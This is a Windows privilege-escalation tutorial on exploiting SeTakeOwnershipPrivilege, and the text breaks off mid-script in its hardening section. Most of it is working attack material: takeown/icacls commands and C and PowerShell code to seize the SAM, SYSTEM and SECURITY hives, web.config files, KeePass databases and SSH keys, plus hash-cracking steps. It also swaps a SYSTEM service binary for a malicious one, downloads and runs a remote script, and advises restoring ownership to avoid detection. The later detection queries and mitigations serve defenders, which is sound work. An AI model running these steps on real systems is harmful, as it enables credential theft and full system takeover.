
SeTakeOwnershipPrivilege Exploitation
SeTakeOwnershipPrivilege exploitation in Windows — file ownership manipulation, registry takeover, and privilege escalation techniques.
Introduction
The SeTakeOwnershipPrivilege is a Windows user right that grants the ability to take ownership of any securable object in the system, including files, folders, registry keys, processes, services, and Active Directory objects. While less commonly exploited than some other dangerous privileges, SeTakeOwnershipPrivilege can be leveraged for privilege escalation, sensitive data exfiltration, and system compromise when properly understood and exploited.
Powerful But Subtle
Unlike privileges that provide immediate SYSTEM access, SeTakeOwnershipPrivilege requires understanding of Windows ownership, ACLs, and discretionary access control. When exploited correctly, it provides access to virtually any object on the system.
Understanding Windows Ownership and Security Descriptors
The Windows Security Model
Every securable object in Windows has a security descriptor containing:
- Owner SID: Security Identifier of the object's owner
- Primary Group SID: Primary group (mostly for POSIX compatibility)
- DACL (Discretionary Access Control List): Permissions granted or denied
- SACL (System Access Control List): Audit rules for the object
Ownership vs. Permissions
Key Distinction:
- Permissions control what actions you can perform on an object (read, write, delete, etc.)
- Ownership grants the implicit right to modify the object's permissions
Ownership Power
The owner of an object always has the implicit ability to modify the DACL, even if the DACL explicitly denies them access. This makes ownership a form of ultimate control over a securable object.
Normal Ownership Transfer Process
Under normal circumstances, ownership transfer is restricted:
- Administrators can take ownership of any object
- Users with WRITE_OWNER permission can transfer ownership
- Users with SeTakeOwnershipPrivilege can take ownership of any object
What SeTakeOwnershipPrivilege Grants
When a user has SeTakeOwnershipPrivilege enabled:
- Can take ownership of any file or folder regardless of permissions
- Can take ownership of registry keys and values
- Can take ownership of processes and services
- Can take ownership of Active Directory objects (in AD environments)
- Ownership grants ability to modify permissions, enabling full access
Common Assignment Scenarios
Legitimate Use Cases
SeTakeOwnershipPrivilege is sometimes granted to non-administrative accounts for specific purposes:
-
Backup Service Accounts
- Need to access all files for backup operations
- Often combined with SeBackupPrivilege and SeRestorePrivilege
- Designed to avoid granting full administrative rights
-
Content Management Systems
- Web application service accounts managing file shares
- Document management system service accounts
- Content indexing and search services
-
System Maintenance Accounts
- Accounts used for file cleanup and archival
- Automated maintenance scripts
- Legacy system migrations
-
Development and Testing
- Developers needing to debug file permission issues
- Test environments with relaxed security policies
- Troubleshooting misconfigured permissions
Misconfiguration Risk
Organizations often grant SeTakeOwnershipPrivilege to avoid granting full administrator rights, believing it's a more secure "middle ground." In reality, this privilege can be nearly as dangerous as administrative access when exploited properly.
Group Policy Assignment Location
The privilege can be assigned through Group Policy:
- Path:
Computer Configuration→Windows Settings→Security Settings→Local Policies→User Rights Assignment→Take ownership of files or other objects
Enumeration and Discovery
Checking Current User Privileges
Step 1: Enumerate Privileges
Check if your current user context has SeTakeOwnershipPrivilege:
whoami /privExample Output:
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledDisabled State
A privilege showing "Disabled" can still be enabled programmatically. The critical factor is whether the privilege appears in the list at all — if present, it can be leveraged.
Step 2: Enable the Privilege
Use PowerShell to enable SeTakeOwnershipPrivilege for your session:
# Download and import privilege enabler script
$url = "https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1"
iwr -Uri $url -OutFile EnableAllTokenPrivs.ps1
. .\EnableAllTokenPrivs.ps1
# Verify privilege is now enabled
whoami /privAfter Enabling:
Privilege Name Description State
============================= ======================================== =======
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledStep 3: Identify High-Value Targets
Look for sensitive files and directories you cannot currently access:
# Attempt to list restricted directories
Get-ChildItem "C:\Department Shares\Private" -Recurse -ErrorAction SilentlyContinue
# Search for interesting file types
Get-ChildItem -Path C:\ -Include *.kdbx,*.key,*.pem,*.pfx,*.p12,*password*,*cred*,*secret* -Recurse -ErrorAction SilentlyContinue
# Check for files you don't have access to
Get-ChildItem "C:\Program Files" -Recurse | Where-Object {
-not (Get-Acl $_.FullName).Access.IdentityReference.Value.Contains($env:USERNAME)
}BloodHound Enumeration
In Active Directory environments, BloodHound can identify users and service accounts with SeTakeOwnershipPrivilege:
// Find users with SeTakeOwnershipPrivilege
MATCH (u:User)-[:HasSession]->(c:Computer)
WHERE u.name =~ ".*"
RETURN u.name, u.privilegeslist
// Find paths from owned user to sensitive files through privilege
MATCH p=(u:User {owned: true})-[r:MemberOf*1..]->(g:Group)-[:CanTakeOwnership]->(o:Object)
RETURN pExploitation Techniques
File System Exploitation
Taking Ownership of Sensitive Files
Using PowerShell ACL Objects
# Define target file
$targetFile = "C:\Department Shares\Private\IT\cred.txt"
# Get current ACL
$acl = Get-Acl $targetFile
# Create new owner (current user)
$owner = New-Object System.Security.Principal.NTAccount($env:USERNAME)
# Set ownership
$acl.SetOwner($owner)
Set-Acl -Path $targetFile -AclObject $acl
# Verify ownership changed
Get-Acl $targetFile | Select-Object OwnerOutput:
Owner
-----
CORP\backupadminGrant Full Control:
# Modify ACL to grant yourself full control
$acl = Get-Acl $targetFile
$permission = "$env:USERDOMAIN\$env:USERNAME","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.SetAccessRule($accessRule)
Set-Acl -Path $targetFile -AclObject $acl
# Verify access
Get-Content $targetFileUsing Built-in takeown.exe Utility
The takeown command is a native Windows utility specifically designed for taking ownership:
# Take ownership of single file
takeown /f "C:\Department Shares\Private\IT\cred.txt"
# Take ownership recursively (directory and all contents)
takeown /f "C:\Department Shares\Private\IT" /r /d y
# Take ownership and suppress success messages
takeown /f "C:\Sensitive\passwords.txt" /aParameters:
/f: Specifies the file or directory/r: Recursive operation/d y: Automatically answer "yes" to prompts/a: Give ownership to Administrators group instead of current user
Example Output:
SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "CORP\backupadmin".Detection Risk
The takeown.exe utility is legitimate but uncommon in typical user workflows. EDR solutions may flag its usage, especially when targeting sensitive system directories.
Using icacls for Ownership and Permissions
icacls (Integrity Control Access Control Lists) provides fine-grained control:
# Take ownership
takeown /f "C:\Windows\System32\config\SAM"
# Grant yourself full control using icacls
icacls "C:\Windows\System32\config\SAM" /grant %USERNAME%:F
# Verify permissions
icacls "C:\Windows\System32\config\SAM"Comprehensive Approach:
# 1. Take ownership
takeown /f "C:\Target\sensitive.txt"
# 2. Grant full control to current user
icacls "C:\Target\sensitive.txt" /grant %USERNAME%:F
# 3. Read the file
type "C:\Target\sensitive.txt"
# 4. (Optional) Restore original ownership to avoid detection
icacls "C:\Target\sensitive.txt" /setowner "NT SERVICE\TrustedInstaller"Advanced icacls Usage:
# Remove inherited permissions
icacls "C:\Target\file.txt" /inheritance:r
# Grant specific permissions
icacls "C:\Target\file.txt" /grant %USERNAME%:(R,W,D)
# Reset permissions to defaults
icacls "C:\Target\file.txt" /resetProgrammatic Ownership with C/C++
For stealth and automation, use Windows API directly:
#include <windows.h>
#include <aclapi.h>
#include <stdio.h>
BOOL TakeOwnership(LPCTSTR lpszOwnFile) {
BOOL bRetval = FALSE;
HANDLE hToken = NULL;
PSID pSIDAdmin = NULL;
PSID pSIDEveryone = NULL;
PACL pACL = NULL;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
const int NUM_ACES = 2;
EXPLICIT_ACCESS ea[NUM_ACES];
DWORD dwRes;
// Enable SeTakeOwnershipPrivilege
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
printf("OpenProcessToken failed: %d\n", GetLastError());
goto Cleanup;
}
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid)) {
printf("LookupPrivilegeValue failed: %d\n", GetLastError());
goto Cleanup;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
printf("AdjustTokenPrivileges failed: %d\n", GetLastError());
goto Cleanup;
}
// Get current user SID
DWORD dwSIDSize = 0;
DWORD dwDomainSize = 0;
SID_NAME_USE sidType;
TCHAR szUserName[256];
DWORD dwUserNameSize = 256;
GetUserName(szUserName, &dwUserNameSize);
LookupAccountName(NULL, szUserName, NULL, &dwSIDSize, NULL, &dwDomainSize, &sidType);
PSID pSIDUser = (PSID)malloc(dwSIDSize);
LPTSTR szDomain = (LPTSTR)malloc(dwDomainSize * sizeof(TCHAR));
if (!LookupAccountName(NULL, szUserName, pSIDUser, &dwSIDSize, szDomain, &dwDomainSize, &sidType)) {
printf("LookupAccountName failed: %d\n", GetLastError());
goto Cleanup;
}
// Take ownership
dwRes = SetNamedSecurityInfo(
(LPTSTR)lpszOwnFile,
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION,
pSIDUser,
NULL,
NULL,
NULL
);
if (dwRes != ERROR_SUCCESS) {
printf("SetNamedSecurityInfo failed: %d\n", dwRes);
goto Cleanup;
}
printf("[+] Successfully took ownership of: %s\n", lpszOwnFile);
// Grant full control to current user
ZeroMemory(&ea, NUM_ACES * sizeof(EXPLICIT_ACCESS));
ea[0].grfAccessPermissions = GENERIC_ALL;
ea[0].grfAccessMode = SET_ACCESS;
ea[0].grfInheritance = NO_INHERITANCE;
ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[0].Trustee.TrusteeType = TRUSTEE_IS_USER;
ea[0].Trustee.ptstrName = (LPTSTR)pSIDUser;
dwRes = SetEntriesInAcl(1, ea, NULL, &pACL);
if (dwRes != ERROR_SUCCESS) {
printf("SetEntriesInAcl failed: %d\n", dwRes);
goto Cleanup;
}
dwRes = SetNamedSecurityInfo(
(LPTSTR)lpszOwnFile,
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
pACL,
NULL
);
if (dwRes != ERROR_SUCCESS) {
printf("SetNamedSecurityInfo (DACL) failed: %d\n", dwRes);
goto Cleanup;
}
printf("[+] Successfully granted full control\n");
bRetval = TRUE;
Cleanup:
if (pSIDAdmin) FreeSid(pSIDAdmin);
if (pSIDEveryone) FreeSid(pSIDEveryone);
if (pACL) LocalFree(pACL);
if (hToken) CloseHandle(hToken);
return bRetval;
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <file_path>\n", argv[0]);
return 1;
}
if (TakeOwnership(argv[1])) {
printf("[+] Operation completed successfully\n");
return 0;
} else {
printf("[-] Operation failed\n");
return 1;
}
}Targeting High-Value Files
SAM and SYSTEM Registry Hives
The Security Account Manager (SAM) database contains local user password hashes.
Location:
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEMExploitation:
# Take ownership of SAM and SYSTEM files
takeown /f C:\Windows\System32\config\SAM
takeown /f C:\Windows\System32\config\SYSTEM
# Grant read access
icacls C:\Windows\System32\config\SAM /grant %USERNAME%:F
icacls C:\Windows\System32\config\SYSTEM /grant %USERNAME%:F
# Copy to accessible location
copy C:\Windows\System32\config\SAM C:\Temp\SAM
copy C:\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
# Extract hashes using impacket-secretsdump
secretsdump.py -sam SAM -system SYSTEM LOCALFile Locking
SAM and SYSTEM files are locked while Windows is running. You may need to:
- Access Volume Shadow Copies
- Boot from alternate OS
- Use backup/restore privileges
- Access repair copies in
C:\Windows\Repair
Web Application Configuration Files
Web.config files often contain database credentials, API keys, and connection strings.
Common Locations:
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\<app_name>\web.config
C:\Program Files\<application>\config\Exploitation:
# Take ownership of web.config
takeown /f "C:\inetpub\wwwroot\web.config"
icacls "C:\inetpub\wwwroot\web.config" /grant %USERNAME%:F
# Read sensitive data
Get-Content "C:\inetpub\wwwroot\web.config" | Select-String -Pattern "password|connectionString|apiKey"Example Sensitive Data:
<connectionStrings>
<add name="DefaultConnection"
connectionString="Server=sql01;Database=ProductionDB;User Id=sa;Password=P@ssw0rd123!;"
providerName="System.Data.SqlClient" />
</connectionStrings>
<appSettings>
<add key="APIKey" value="sk-proj-abc123xyz789" />
<add key="SecretKey" value="a8f5f167f44f4964e6c998dee827110c" />
</appSettings>KeePass Database Files
Password manager databases are high-value targets.
Search for KeePass Files:
# Search entire C: drive for KeePass databases
Get-ChildItem -Path C:\ -Include *.kdbx -Recurse -ErrorAction SilentlyContinue
# Common locations
$locations = @(
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Desktop",
"$env:USERPROFILE\OneDrive",
"C:\Users\*\Documents",
"\\fileserver\shares\IT"
)
foreach ($location in $locations) {
Get-ChildItem -Path $location -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue
}Take Ownership and Extract:
$kdbxPath = "C:\Users\admin\Documents\passwords.kdbx"
# Take ownership
takeown /f $kdbxPath
icacls $kdbxPath /grant %USERNAME%:F
# Copy to your location
Copy-Item $kdbxPath -Destination C:\Temp\loot\passwords.kdbx
# Attempt to crack with hashcat (requires extracting hash first)
keepass2john passwords.kdbx > keepass.hash
hashcat -m 13400 keepass.hash wordlist.txtSSH Private Keys and Certificates
Private keys provide authentication to remote systems without passwords.
Search for Keys:
# Find SSH private keys
Get-ChildItem -Path C:\Users -Include id_rsa,id_dsa,id_ecdsa,id_ed25519,*.pem,*.key -Recurse -ErrorAction SilentlyContinue
# Common locations
$sshLocations = @(
"$env:USERPROFILE\.ssh",
"C:\Users\*\.ssh",
"C:\ProgramData\ssh",
"C:\Keys"
)
foreach ($loc in $sshLocations) {
Get-ChildItem -Path $loc -Recurse -ErrorAction SilentlyContinue | Where-Object {
$_.Extension -in @(".pem", ".key", "") -and $_.Name -notlike "*.pub"
}
}Exploit Found Keys:
# Take ownership
takeown /f "C:\Users\admin\.ssh\id_rsa"
icacls "C:\Users\admin\.ssh\id_rsa" /grant %USERNAME%:F
# Copy and use
Copy-Item "C:\Users\admin\.ssh\id_rsa" -Destination C:\Temp\id_rsa
# On Linux attack system
chmod 600 id_rsa
ssh -i id_rsa [email protected]Registry Exploitation
Windows Registry contains sensitive configuration, credentials, and system settings.
Taking Ownership of Registry Keys
Using reg.exe Command
While reg.exe doesn't have a direct "take ownership" command, you can use takeown and icacls equivalents:
# Enable registry key access via takeown (doesn't work directly on registry)
# Instead, use PowerShell or specialized tools
# Grant permissions using reg.exe
reg add "HKLM\SAM\SAM" /v TestValue /t REG_SZ /d "test" /f
# This will fail without ownershipLimitation
The reg.exe utility doesn't support taking ownership directly. Use PowerShell or specialized registry tools for ownership changes.
PowerShell Registry Ownership
# Function to take registry key ownership
function Set-RegistryKeyOwner {
param(
[string]$RegistryPath,
[string]$Owner = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
)
# Enable SeTakeOwnershipPrivilege
$import = '[DllImport("ntdll.dll", SetLastError = true)]
public static extern int RtlAdjustPrivilege(ulong Privilege, bool Enable, bool CurrentThread, ref bool Enabled);'
$ntdll = Add-Type -MemberDefinition $import -Name NtDll -Namespace Win32 -PassThru
$privileges = @{
SeTakeOwnership = 9
}
$enabled = $false
[void]$ntdll::RtlAdjustPrivilege($privileges.SeTakeOwnership, $true, $false, [ref]$enabled)
# Convert registry path to .NET format
if ($RegistryPath -match '^HKLM\\') {
$path = "HKEY_LOCAL_MACHINE\" + ($RegistryPath -replace '^HKLM\\', '')
} elseif ($RegistryPath -match '^HKCU\\') {
$path = "HKEY_CURRENT_USER\" + ($RegistryPath -replace '^HKCU\\', '')
} else {
$path = $RegistryPath
}
try {
# Open registry key with take ownership access
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
($path -replace '^HKEY_LOCAL_MACHINE\\', ''),
[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
[System.Security.AccessControl.RegistryRights]::TakeOwnership
)
# Get current ACL
$acl = $key.GetAccessControl()
# Set new owner
$ownerSid = (New-Object System.Security.Principal.NTAccount($Owner)).Translate([System.Security.Principal.SecurityIdentifier])
$acl.SetOwner($ownerSid)
$key.SetAccessControl($acl)
Write-Host "[+] Successfully took ownership of: $RegistryPath" -ForegroundColor Green
# Grant full control
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
($path -replace '^HKEY_LOCAL_MACHINE\\', ''),
[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
[System.Security.AccessControl.RegistryRights]::ChangePermissions
)
$acl = $key.GetAccessControl()
$rule = New-Object System.Security.AccessControl.RegistryAccessRule(
$Owner,
[System.Security.AccessControl.RegistryRights]::FullControl,
[System.Security.AccessControl.InheritanceFlags]::ContainerInherit -bor [System.Security.AccessControl.InheritanceFlags]::ObjectInherit,
[System.Security.AccessControl.PropagationFlags]::None,
[System.Security.AccessControl.AccessControlType]::Allow
)
$acl.SetAccessRule($rule)
$key.SetAccessControl($acl)
Write-Host "[+] Successfully granted full control" -ForegroundColor Green
} catch {
Write-Host "[-] Error: $_" -ForegroundColor Red
}
}
# Example usage
Set-RegistryKeyOwner -RegistryPath "HKLM\SAM\SAM"Simplified Approach:
# Take ownership of SAM registry key
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
"SAM\SAM",
[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
[System.Security.AccessControl.RegistryRights]::TakeOwnership
)
$acl = $key.GetAccessControl()
$me = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$owner = New-Object System.Security.Principal.NTAccount($me)
$acl.SetOwner($owner)
$key.SetAccessControl($acl)Using RegOwnershipEx (Sysinternals Style)
Custom tool for registry ownership (conceptual):
#include <windows.h>
#include <aclapi.h>
#include <stdio.h>
BOOL TakeRegistryKeyOwnership(HKEY hRootKey, LPCTSTR lpSubKey) {
HKEY hKey;
DWORD dwRes;
PSID pSIDUser = NULL;
PACL pNewDACL = NULL;
EXPLICIT_ACCESS ea;
// Enable SeTakeOwnershipPrivilege
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
CloseHandle(hToken);
// Open registry key with WRITE_OWNER access
dwRes = RegOpenKeyEx(hRootKey, lpSubKey, 0, WRITE_OWNER, &hKey);
if (dwRes != ERROR_SUCCESS) {
printf("[-] RegOpenKeyEx failed: %d\n", dwRes);
return FALSE;
}
// Get current user SID
TCHAR szUserName[256];
DWORD dwUserNameSize = 256;
GetUserName(szUserName, &dwUserNameSize);
DWORD dwSIDSize = 0;
DWORD dwDomainSize = 0;
SID_NAME_USE sidType;
LookupAccountName(NULL, szUserName, NULL, &dwSIDSize, NULL, &dwDomainSize, &sidType);
pSIDUser = (PSID)malloc(dwSIDSize);
LPTSTR szDomain = (LPTSTR)malloc(dwDomainSize * sizeof(TCHAR));
LookupAccountName(NULL, szUserName, pSIDUser, &dwSIDSize, szDomain, &dwDomainSize, &sidType);
// Take ownership
dwRes = SetSecurityInfo(
hKey,
SE_REGISTRY_KEY,
OWNER_SECURITY_INFORMATION,
pSIDUser,
NULL,
NULL,
NULL
);
if (dwRes != ERROR_SUCCESS) {
printf("[-] SetSecurityInfo (owner) failed: %d\n", dwRes);
RegCloseKey(hKey);
return FALSE;
}
printf("[+] Successfully took ownership\n");
// Grant full control
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = KEY_ALL_ACCESS;
ea.grfAccessMode = SET_ACCESS;
ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = (LPTSTR)pSIDUser;
dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDACL);
if (dwRes != ERROR_SUCCESS) {
printf("[-] SetEntriesInAcl failed: %d\n", dwRes);
RegCloseKey(hKey);
return FALSE;
}
// Reopen with WRITE_DAC
RegCloseKey(hKey);
dwRes = RegOpenKeyEx(hRootKey, lpSubKey, 0, WRITE_DAC, &hKey);
if (dwRes != ERROR_SUCCESS) {
LocalFree(pNewDACL);
return FALSE;
}
dwRes = SetSecurityInfo(
hKey,
SE_REGISTRY_KEY,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
pNewDACL,
NULL
);
if (dwRes != ERROR_SUCCESS) {
printf("[-] SetSecurityInfo (DACL) failed: %d\n", dwRes);
RegCloseKey(hKey);
LocalFree(pNewDACL);
return FALSE;
}
printf("[+] Successfully granted full control\n");
RegCloseKey(hKey);
if (pNewDACL) LocalFree(pNewDACL);
return TRUE;
}
int main() {
if (TakeRegistryKeyOwnership(HKEY_LOCAL_MACHINE, "SAM\\SAM")) {
printf("[+] Registry key ownership changed successfully\n");
} else {
printf("[-] Failed to change registry key ownership\n");
}
return 0;
}High-Value Registry Targets
SAM Registry Key:
HKLM\SAM\SAM\Domains\Account\UsersContains local user account hashes.
LSA Secrets:
HKLM\SECURITY\Policy\SecretsContains:
- Service account passwords
- Auto-logon credentials
- VPN credentials
- Scheduled task credentials
Cached Domain Credentials:
HKLM\SECURITY\CacheContains cached domain logon credentials (DCC/DCC2 hashes).
Wi-Fi Passwords:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\ProfilesService and Process Manipulation
Taking ownership of services and their executables can lead to privilege escalation.
Step 1: Identify Service Binary Path
# List all services and their binary paths
Get-WmiObject Win32_Service | Select-Object Name, DisplayName, PathName, StartMode, State
# Find services running as SYSTEM
Get-WmiObject Win32_Service | Where-Object {$_.StartName -eq "LocalSystem"} | Select-Object Name, PathNameStep 2: Take Ownership of Service Executable
$servicePath = "C:\Program Files\VulnerableService\service.exe"
# Take ownership
takeown /f $servicePath
icacls $servicePath /grant %USERNAME%:FStep 3: Replace Service Binary
# Backup original
Copy-Item $servicePath -Destination "$servicePath.bak"
# Replace with malicious binary
Copy-Item C:\Temp\malicious.exe -Destination $servicePath -Force
# Restart service
Restart-Service -Name "VulnerableService"Step 4: Execute as SYSTEM
When the service starts, your malicious binary executes as SYSTEM.
Service Disruption
Replacing service binaries can cause system instability and service failures. This is a destructive action that should only be performed in controlled test environments or with explicit authorization.
Detection and Monitoring
Event Log Monitoring
Event ID 4656: Handle to Object Requested (Ownership)
This event logs when a handle with WRITE_OWNER access is requested.
Detection Query:
SecurityEvent
| where EventID == 4656
| where AccessMask contains "0x80000" // WRITE_OWNER
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where ObjectType in ("File", "Key")
| project TimeGenerated, Computer, SubjectUserName, ObjectName, ObjectType, AccessMask, ProcessName
| summarize Count = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
by SubjectUserName, ObjectName, ProcessName
| where Count > 5 or ObjectName contains "SAM" or ObjectName contains "SYSTEM" or ObjectName contains "SECURITY"High-Value Targets to Alert On:
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMHKLM\SAM\SAMHKLM\SECURITY- Any file under
C:\Windows\System32\
Event ID 4670: Permissions on an Object Changed
Logged when DACL or ownership of an object changes.
Detection Logic:
SecurityEvent
| where EventID == 4670
| extend ObjectType = tostring(parse_json(EventData).ObjectType)
| extend ObjectName = tostring(parse_json(EventData).ObjectName)
| extend SubjectUserName = tostring(parse_json(EventData).SubjectUserName)
| extend OldOwner = tostring(parse_json(EventData).OldSd)
| extend NewOwner = tostring(parse_json(EventData).NewSd)
| where SubjectUserName !endswith "$"
| where ObjectName contains "config" or ObjectName contains "SAM" or ObjectName contains "SYSTEM"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, ObjectType, OldOwner, NewOwnerAlert Criteria:
- Ownership changes on system files
- Multiple ownership changes in short time period
- Ownership changes followed by file access or modification
Event ID 4672: Special Privileges Assigned (SeTakeOwnershipPrivilege)
Generated when a user logs on and is assigned SeTakeOwnershipPrivilege.
Query:
SecurityEvent
| where EventID == 4672
| where PrivilegeList contains "SeTakeOwnershipPrivilege"
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where SubjectUserName !endswith "$"
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName, LogonID, PrivilegeList
| join kind=inner (
SecurityEvent
| where EventID == 4656
| where AccessMask contains "0x80000"
| project ObjectAccessTime=TimeGenerated, Computer, LogonID=SubjectLogonId, ObjectName
) on Computer, LogonID
| where ObjectAccessTime between (TimeGenerated .. (TimeGenerated + 1h))Process Creation Monitoring (Event ID 4688)
Monitor for takeown.exe and icacls.exe usage.
Detection Query:
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\takeown.exe" or NewProcessName endswith "\\icacls.exe"
| extend CommandLine = tostring(parse_json(EventData).CommandLine)
| where CommandLine contains "SAM" or CommandLine contains "SYSTEM" or CommandLine contains "config" or CommandLine contains "/grant"
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, CommandLine, ParentProcessNameSuspicious Patterns:
takeown.exetargeting system directoriesicacls.exewith/granton sensitive files- Multiple sequential takeown/icacls operations
- Execution from non-administrative user accounts
Behavioral Analytics
Anomalous Access Patterns:
-
Time-based Anomalies
- File ownership changes outside business hours
- Batch ownership operations (multiple files in short time)
- Ownership changes followed immediately by file reads
-
User-based Anomalies
- Service accounts taking ownership of user files
- Standard users modifying system file ownership
- External/contractor accounts changing sensitive file ownership
-
Object-based Anomalies
- Ownership changes on rarely-modified system files
- Registry key ownership changes in sensitive hives
- Ownership transfer followed by permission modification
Example Advanced Detection:
// Detect ownership + modification + potential exfiltration pattern
let OwnershipChanges = SecurityEvent
| where EventID == 4670
| extend ObjectName = tostring(parse_json(EventData).ObjectName)
| extend Actor = tostring(parse_json(EventData).SubjectUserName)
| project OwnershipTime=TimeGenerated, Computer, Actor, ObjectName;
let FileAccess = SecurityEvent
| where EventID == 4663
| where AccessMask contains "0x1" // READ_DATA
| extend ObjectName = tostring(parse_json(EventData).ObjectName)
| extend Actor = tostring(parse_json(EventData).SubjectUserName)
| project AccessTime=TimeGenerated, Computer, Actor, ObjectName;
let NetworkConnections = NetworkConnectionEvents
| where RemotePort !in (80, 443, 445, 3389, 53)
| project ConnTime=TimeGenerated, Computer, LocalUser, RemoteIP, RemotePort, BytesSent;
OwnershipChanges
| join kind=inner FileAccess on Computer, Actor, ObjectName
| where AccessTime between (OwnershipTime .. (OwnershipTime + 10m))
| join kind=inner NetworkConnections on $left.Computer == $right.Computer and $left.Actor == $right.LocalUser
| where ConnTime between (AccessTime .. (AccessTime + 30m))
| where BytesSent > 1000000 // More than 1MB sent
| project OwnershipTime, AccessTime, ConnTime, Computer, Actor, ObjectName, RemoteIP, RemotePort, BytesSent
| summarize
ObjectCount = dcount(ObjectName),
TotalBytesSent = sum(BytesSent),
RemoteIPs = make_set(RemoteIP)
by Computer, Actor
| where ObjectCount > 3 or TotalBytesSent > 10000000Mitigation and Hardening
Principle of Least Privilege
Step 1: Audit Current Assignments
# Export current security policy
secedit /export /areas USER_RIGHTS /cfg C:\Temp\security_policy.txt
# Review SeTakeOwnershipPrivilege assignments
Get-Content C:\Temp\security_policy.txt | Select-String "SeTakeOwnershipPrivilege"
# Check via Group Policy Results
gpresult /h C:\Temp\gp_report.html
# Open report and search for "Take ownership"Step 2: Remove Unnecessary Assignments
# Remove SeTakeOwnershipPrivilege from specific user
secedit /configure /db reset.sdb /cfg C:\Temp\security_policy.txt /areas USER_RIGHTS
# Via Group Policy:
# Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment
# Open "Take ownership of files or other objects"
# Remove all entries except Administrators group (if required)Step 3: Implement Just-In-Time Access
For legitimate use cases requiring SeTakeOwnershipPrivilege:
- Create Restricted Security Group:
TakeOwnership_JIT - Configure Time-Limited Membership: Use PowerShell or identity management tools
- Implement Approval Workflow: Require manager approval for group membership
- Enable Logging: Capture all uses of the privilege
- Automatic Expiration: Remove membership after 4 hours
Example JIT Implementation:
# Grant temporary SeTakeOwnershipPrivilege
function Grant-TemporaryTakeOwnership {
param(
[string]$UserName,
[int]$Hours = 4
)
# Add user to TakeOwnership_JIT group
Add-LocalGroupMember -Group "TakeOwnership_JIT" -Member $UserName
# Schedule removal
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Command `"Remove-LocalGroupMember -Group 'TakeOwnership_JIT' -Member '$UserName'`""
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours($Hours)
Register-ScheduledTask -TaskName "Remove_$UserName_TakeOwnership" -Action $action -Trigger $trigger
Write-Host "[+] Granted SeTakeOwnershipPrivilege to $UserName for $Hours hours"
}
# Usage
Grant-TemporaryTakeOwnership -UserName "CORP\backupadmin" -Hours 4File System Hardening
Implement File Integrity Monitoring (FIM):
# Windows built-in auditing for file system changes
auditpol /set /subcategory:"File System" /success:enable /failure:enable
# Configure specific directories for monitoring
$paths = @(
"C:\Windows\System32\config",
"C:\inetpub\wwwroot",
"C:\Program Files",
"C:\Keys"
)
foreach ($path in $paths) {
